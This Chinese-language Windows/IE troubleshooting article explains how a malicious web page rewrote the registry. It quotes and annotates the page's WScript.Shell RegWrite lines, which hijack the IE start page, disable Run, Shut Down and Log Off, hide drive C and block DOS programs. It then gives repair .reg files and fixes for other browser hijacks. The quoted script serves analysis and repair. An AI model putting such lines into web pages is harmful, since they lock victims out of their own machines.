浏览网页注册表被修改之迷及解决办法

浏览网页会被修改注册表？千真万确！如果你去浏览过下面的网页：http:||www.findfeel.com|default.htm ，你真有生不如死的感觉！

进入该网页会被：

　　1.修改开始菜单

　　1）禁止“关闭系统”
　　2）禁止“运行”
　　3）禁止“注销”

　　2.隐藏C盘——你的C盘找不到了

　　3.禁止使用注册表编辑器regedit

　　4.禁止使用DOS程序

　　5.使系统无法进入“实模式”

　　6.禁止运行任何程序

　　7.将IE浏览器的首页改为http:||www.findfeel.com|，收藏夹中也被加入该网址。

　　那么这些功能恐怖的功能是如何实现的呢？原来，该网页是有人利用Java技术制作的含有有害代码的ActiveX网页文件。为让更多的人了解其危害，我查看了其源代码，将其主要部分列了出来，并加了详细的注释（文中有“注”字的部分是我加的注释）。

注：下面代码是将你的IE默认连接首页改为http:||www.findfeel.com|
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Start Page", "http:||www.findfeel.com|"）;

注：以下是该网页修改受害者的注册表项所用的招数

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"）;
注：使受害者系统没有“运行”项，这样用户就不能通过注册表编辑器来修改该有害网页对系统注册表的修改。


Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoClose", 01, "REG_BINARY"）;
注：使受害者系统没有“关闭系统”项

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"）;
注：使受害者系统没有“注销”项

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\Explorer\\NoDrives", "00000004", "REG_DWORD"）;
注：使受害者系统没有逻辑驱动器C

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\\WinOldApp\\ Disabled","REG_BINARY"）;
注：禁止运行所有的DOS应用程序；

Shl.RegWrite （"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\
Policies\ \WinOldApp\\NoRealMode","REG_BINARY"）;
注：使系统不能启动到“实模式”（传统的DOS模式）下；

又注：进入该网页，它还会修改以下的注册表项，使WINDOWS系统登录时显示一个登录窗口（在MicroSoft网络用户登录之前）

Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeCaption", "呜啦啦..."）;
注：这些代码会使窗口的标题是“呜啦啦…”

Shl.RegWrite （"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\
Winlogon\\LegalNoticeText", "欢迎你！你这个超级无敌大白痴！《呜啦啦...》故事开始了，按确定进入悲惨世界"）;
注：上面一行是会在窗口中显示出来的文字

注：下面两行代码修改注册表，使受害者所有的IE窗口都加上以下的标题：“呜啦啦…”

Shl.RegWrite （"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "呜啦啦..."）;
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\
Window Title", "呜啦啦..."）;
注：到上面一行为止，完成了对受害者的注册表的所有修改！


注：下面代码用来将其网页增加到受害者的收藏夹中

var WF, Shor, loc;
WF = FSO.GetSpecialFolder（0）;
loc = WF + "\\Favorites";
if（!FSO.FolderExists（loc））
{
loc = FSO.GetDriveName（WF） + "\\Documents and Settings\\
" + Net.UserName + "\\Favorites";
if（!FSO.FolderExists（loc））
{
return;
}
}

注：下面就是使其网页加入到你的收藏夹的具体代码
AddFavLnk（loc, "找到感觉www.findfeel.com", "http:||www.findfeel.com"）;

　　由于代码很简单，又加了注释，相信你已经看明白是怎么回事了。那么如果不小心进入该网页，并且已经中招了该怎么办呢？别急，下面给你列出了解决的办法。

受害用户的修复方法：

　　1：对于Win9x用户，建议在电脑启动时按F8键，选择到MS-DOS方式下，使用Scanreg|restore命令来恢复以前备份的、正常的注册表。

　　2：对于Win2000用户，把以下内容copy下来，存为unlock.reg文件，选带命令行的安全模式，用命令regedit unlock.reg导入，如何重启机器就OK了。

unlock.reg文件内容如下：

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer]
"NoDriveTypeAutoRun"=dword:00000095
"NoRun"=hex:
"NoLogOff"=hex:
"NoDrives"=dword:00000000
"RestrictRun"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"Disabled"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\WinOldApp]
"NoRealMode"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Winlogon]
"LegalNoticeCaption"=""
"LegalNoticeText"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Window Title"="IE浏览器"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="IE浏览器"

预防办法：

　　1.要避免中招，关键是不要轻易去一些自己并不了解的站点。

　　2.在IE设置中将ActiveX插件和控件、Java脚本等全部禁止

　　3.可以通过升级到最新的病毒库，来预防该类恶意网页的侵害。

　　4.既然该网页是通过修改注册表来破坏我们的系统，那么我们可以事先把注册表加锁：禁止修改注册表，这样就可以达到预防的目的。不过，自己要使用注册表编辑器regedit.exe该怎么办呢？因此我们还要在此前事先准备一把“钥匙”，以便打开这把“锁”！

　　加锁方法如下：

　　（1）运行注册表编辑器regedit.exe；
　　（2）展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System下，新建一个名为DisableRegistryTools的DWORD值，并将其值改为“1”，即可禁止使用注册表编辑器regedit.exe。

　　解锁方法如下：

　　用记事本编辑一个任意名字的.reg文件，比如unlock.reg，内容如下：

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\System]
"DisableRegistryTools"=dword:00000000

　　存盘。你就有了一把解锁的钥匙了！如果要使用注册表编辑器，则双击unlock.reg即可。要注意的是，在“REGEDIT4”后面一定要空一行，并且“REGEDIT4”中的“4”和“T”之间一定不能有空格，否则将前功尽弃！

说明：对于“万花谷”网页的恶意代码带来的破坏，也可按上面所提的方法来预防，中招后也可参考上面的方法解决。另，KV3000对“万花谷”可完全恢复，对本文介绍的网页破坏系统现象，则无法安全恢复。

IE默认连接首页被修改

1、IE默认连接首页被修改

IE浏览器上方的标题栏被改成“欢迎访问******网站”的样式，这是最常见的篡改手段，受害者众多。
受到更改的注册表项目为：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
通过修改“Start Page”的键值，来达到修改浏览者IE默认连接首页的目的，如浏览“*****”就会将你的IE默认连接首页修改为 http://ppw.****.com ”，即便是出于给自己的主页做广告的目的，也显得太霸道了一些，这也是这类网页惹人厌恶的原因。

解决办法：
A. 注册表法
①在Windows启动后，点击“开始”→“运行”菜单项，在“打开”栏中键入regedit，然后按“确定”键；
②展开注册表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Start Page”双击 ，将Start Page的键值改为“about:blank”即可；
③同理，展开注册表到HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
在右半部分窗口中找到串值“Start Page”，然后按②中所述方法处理。
④退出注册表编辑器，重新启动计算机，一切OK了！

特殊例子：当IE的起始页变成了某些网址后，就算你通过选项设置修改好了，重启以后又会变成他们的网址啦，十分的难缠。其实他们是在你机器里加了一个自运行程序，它会在系统启动时将你的IE起始页设成他们的网站。

解决办法：

运行注册表编辑器regedit.exe，然后依次展开
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run主键，然后将其下的registry.exe子键删除，然后删除自运行程序c:\Program Files\registry.exe，最后从IE选项中重新设置起始页就好了。


2、篡改IE的默认页
有些IE被改了起始页后，即使设置了“使用默认页”仍然无效，这是因为IE起始页的默认页也被篡改啦。具体说来就是以下注册表项被修改：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\
Main\Default_Page_URL“Default_Page_URL”这个子键的键值即起始页的默认页。

解决办法：

A.运行注册表编辑器，然后展开上述子键，将“Default_Page_UR”子键的键值中的那
些篡改网站的网址改掉就好了，或者设置为IE的默认值。

B.msconfig 有的还是将程序写入硬盘中，重启计算机后 首页设置又被改了回去，这时可使用“系统配置实用程序”来解决。开始-运行，键入msconfig点击“确定”，在弹出的窗口中切换到“启动”选项卡，禁用可疑程序启动项。
3、修改IE浏览器缺省主页，并且锁定设置项，禁止用户更改回来。
主要是修改了注册表中IE设置的下面这些键值(DWORD值为1时为不可选)：
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control
Panel]"Settings"=dword:1
 [HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]"Links"=dword:1
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Pan
el]"SecAddSites"=dword:1

解决办法：
将上面这些DWORD值改为“0”即可恢复功能。

4、IE的默认首页灰色按扭不可选
这是由于注册表HKEY_USERS\.DEFAULT\Software\Policies\Microsoft\Internet E
xplorer\Control Panel下的DWORD值“homepage”的键值被修改的缘故。原来的键值为“0”，被修改为“
1”（即为灰色不可选状态）。

解决办法：

将“homepage”的键值改为“0”即可。

5、IE标题栏被修改

在系统默认状态下，是由应用程序本身来提供标题栏的信息，但也允许用户自行在上述注册表项目中填加信息，而一些恶意的网站正是利用了这一点来得逞的：它们将串值Window Title下的键值改为其网站名或更多的广告信息，从而达到改变浏览者IE标题栏的目的。

具体说来受到更改的注册表项目为：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title

解决办法：

①在Windows启动后，点击“开始”→“运行”菜单项，在“打开”栏中键入regedit，然后按“确定”键；
②展开注册表到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main下，在右半部分窗口中找到串值“Window Title” ，将该串值删除即可，或将Window Title的键值改为“IE浏览器”等你喜欢的名字；
③同理，展开注册表到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main然后按②中所述方法处理。
④退出注册表编辑器，重新启动计算机，运行IE，你会发现困扰你的问题解决了！
6、IE右键菜单被修改

受到修改的注册表项目为：
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt下被新建了网页的广告信息，并由此在IE右键菜单中出现！

解决办法：

打开注册标编辑器，找到
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt
删除相关的广告条文即可，注意不要把下载软件FlashGet和Netants也删除掉啊，这两个可是“正常”的呀，除非你不想在IE的右键菜单中见到它们。

7、IE默认搜索引擎被修改

在IE浏览器的工具栏中有一个搜索引擎的工具按钮，可以实现网络搜索，被篡改后只要点击那个搜索工具按钮就会链接到那个篡改网站。出现这种现象的原因是以下注册表被修改：
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\CustomizeSearch
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Search\SearchAssistant

解决办法：

运行注册表编辑器，依次展开上述子键，将“CustomizeSearch”和“SearchAssis
tant”的键值改为某个搜索引擎的网址即可。

8、系统启动时弹出对话框

受到更改的注册表项目为：
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon

在其下被建立了字符串“LegalNoticeCaption”和“LegalNoticeText”，其中“L
egalNoticeCaption”是提示框的标题，“LegalNoticeText”是提示框的文本内容。由
于它们的存在，就使得我们每次登陆到Windwos桌面前都出现一个提示窗口，显示那些网
页的广告信息！你瞧，多讨厌啊！

解决办法：

打开注册表编辑器，找到
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon
这一个主键，然后在右边窗口中找到“LegalNoticeCaption”和“LegalNoticeText”这两个字符串，删除这两个字符串就可以解决在登陆时出现提示框的现象了。
9、浏览网页注册表被禁用

这是由于注册表
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
下的DWORD值“DisableRegistryTools”被修改为“1”的缘故，将其键值恢复为“
0”即可恢复注册表的使用。

解决办法

用记事本程序建立以REG为后缀名的文件，将下面这些内容复制在其中就可以了：
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
]“DisableRegistryTools”=dword:00000000

10、浏览网页开始菜单被修改
这是最“狠”的一种，让浏览者有生不如死的感觉。浏览后不仅有类似上面所说的
那些症状，还会有以下更悲惨的遭遇：

1)禁止“关闭系统”

2)禁止“运行”

3)禁止“注销”

4)隐藏C盘——你的C盘找不到了！

5)禁止使用注册表编辑器regedit

6)禁止使用DOS程序

7)使系统无法进入“实模式”

8)禁止运行任何程序

具体的原因和解决办法请看天极网e企业之安全之路栏目的这篇文章：《浏览网页注册表被修改之迷及解决办法》。

以上是比较常见的修改浏览者注册表的现象，今天在浏览网页时，无意中来到某个
个人网站，又遇到了以前没有碰到过的问题：

解决IE无法打开的问题

这两天上网浏览网页时突然发现IE不能打开链接了，详细故障是在地址栏输入网页地址可以打开网页，但是在IE中点击一个链接，网页上的链接打不开，如果这个链接需要在新窗口打开，只见当前窗口一闪，然后什么也没打开，但是如果换了腾讯的浏览器却可以打开链接，我开始怀疑是装什么应用软件引起的故障，于是就卸载了最近安装的软件，发现问题依旧。以前听说过这个怪问题，不少人为了解决这个问题，只能重装系统。而我最讨厌重装系统，于是只好求助与google,看看能否找到解决办法，由于自己的IE出了问题，因此我用了同事的机器在google上用关键字“ie 无法打开链接“搜了一下，果然搜出了很多结果，其中一篇我认为可以解决该问题的帖子，内容如下：

解决新窗口中打不开IE及其原理
在WindowsXP或windows2000系统中经常会出现在IE打开后不能进入二级的页面，如果你能确定你的网络是好的，机子又不象是有病毒（一般有病毒机子的速度会有明显的减慢），那么最大可能的情况就是你安装的新软件时在控件的注册上出了问题。比如ACDsee迷你版最容易出现这种问题。
解决办法：　　

　　在开始菜单中依次运行以下几个命令：

　　Regsvr32 urlmon.dll

　　Regsvr32 actxprxy.dll

　　Regsvr32 shdocvw.dll

　　Regsvr32 oleaut32.dll 　　

　　基本原理：

　　Regsvr32命令是用来对未注册的"ActiveX控件"进行注册的。外来ActiveX控件要应用到自己的程序中也必须使用它注册。ActiveX控件技术是微软于1996年推出的，得到了许多软件公司的支持，虽然现在安装软件时都是自动进行注册，但有时手工注册还是有必要的。 　　

　　Regsvr32命令格式

　　Regsvr32 [/u][/s][/n][/l[:cmdline]] dliname(或OCX控件) 　

　　说明:

　　/u:卸载ActiveX控件

　　/s:注册成功后不显示*作成功信息框

　　/c:控制台输出

　　/l:调用Dlllnstall安装函数并将可选参数[cmdline]传给它,当使用/u时调用卸　　　　载函数

　　/n:不调用DllRegisterServer,该参数必须和/l一起使用.

　　我们平时最常用的有两种方法,即"Regsvr32 ActiveX.dll"(注册ActiveX控件)和"Regsvr32 /u ActiveX.dll"(卸载ActiveX控件).下面举两个例子说明.

　　在C盘根目录下有个"Rtj.dll"控件需要我们手工注册.我们只要单击"开始"——“运行”，在运行对话框中输入“Regsvr32 C:\Rtj.dll”，这时弹出“DllRegisterServer in rtj.dll succeeded”对话框，说明注册成功；如果要卸载，在运行对话框中输入“Regsvr32 /u C:\Rtj.dll”即可。

　　另外，使用Regsvr32命令可以用达到下面一些效果。
一、修复不能在新窗口中打开的IE

　　很多朋友在上网时，发现IE不能打开新的窗口，用鼠标左键点击超链接没有任何反应，用鼠标右键点击超键接，在弹出的快捷菜单中选择“在新窗口中打开”也没有任何反应，重装太麻烦， 我们可以使用Regsvr32命令来修复！

　　1、单击"开始"——“运行”，在运行对话框中输入“Regsvr32 actxprxy.dll”，并回车，接着会出现一个信息框，“DllRegisterServer in actxprxy.dll succeeded”对话框，表示*作成功。

　　2、按照同样的方法输入“Regsvr32 shdocvw.dll”，单击确定。

　　3、重新启动WIN系统，运行IE，此时应该问题解决。

　　如果还不行， 那么把shdocvw.dll， Oleaut32.dll，Actxprxy.dll，Mshtml.dll，Msjava.dll，Browseui.dll 和Urlmon.dll这几个控年全部重新注册一遍应该可以解决问题。

　　二、卸载winXP自带的ZIP功能

　　输入Regsvr32 /u zipfldr.dll，则卸载winXP自带的ZIP功能。如果输入Regsvr32 zipfldr.dll，则恢复ZIP功能。

　　三、防范脚本病毒

　　现在的脚本病毒很是厉害，通过网页传播，上网时，不知不觉你的机器就会感染上病毒了。不过只要你了解病毒传播的机制，还是有办法把它的危害降到最低的。很多脚本病毒的复制，传播都离不开“FSO对象（FileSystemObject）”，因此禁用“FileSystemObject”就能有效地控制脚本病毒的传播。

　　输入“Regsvr32 /u scrrun.dll”，即可禁用FSO对像。。。恢复则输入“Regsvr32 scrrun.dll”

goole上搜到的另一篇帖子内容如下：

方法一：重新注册以下DLL文件：
regsvr32 Shdocvw.dll
regsvr32 Shell32.dll　（注意这个命令，先不用输）
regsvr32 Oleaut32.dll
regsvr32 Actxprxy.dll
regsvr32 Mshtml.dll
regsvr32 Urlmon.dll

第二个命令可以先不用输，输完这些命令后重新启动windows，如果发现无效，再重新输入一遍，这次输入第二个命令。

方法二：COMCTL32.DLL文件产生的问题：
在升级IE或windows时这个文件可能被替换了，也许新版本的COMCTL32.DLL文件有BUG。
找一张windows安装光盘，搜索它，找到一个名为COMCTL32.DL_的文件，把它拷贝出来，用winrar提取　这个文件为COMCTL32.DLL文件，并覆盖现有文件。

方法三：用方法一重新注册regsvr32 Oleaut32.dll时出错或重新注册后也无效。
在windows光盘里提取Oleaut32.dll文件，在MDAC_IE5.CAB文件包里，也是用winrar提取并覆盖现有。

方法四：DCOM属性设置错误：
详细参见：http://support.microsoft.com/default.aspx?scid=kb;EN-US;Q274696
1.点击“开始”；
2.输入“Dcomcnfg”；
3.弹出的提示框选“是”；
4.点“默认安全机制”标签；
5.在“默认访问权限”栏点“编辑默认值”；
6.看看“名称”下面的栏里有没有“SYSTEM”和“Interactive”项，如果没有，则添加；
7.点击OK，点击OK。

方法五：下载这个工具也许有助于修复问题：
http://download.microsoft.com/download/msninvestor/Patch/1.0/WIN98/EN-US/mcrepair.EXE

方法六：

安装3721网站上的上网助手，它有一个阻止广告的选项，如果起用的话，用IE的话，二级链接一般都打不开，把它去掉就可以了。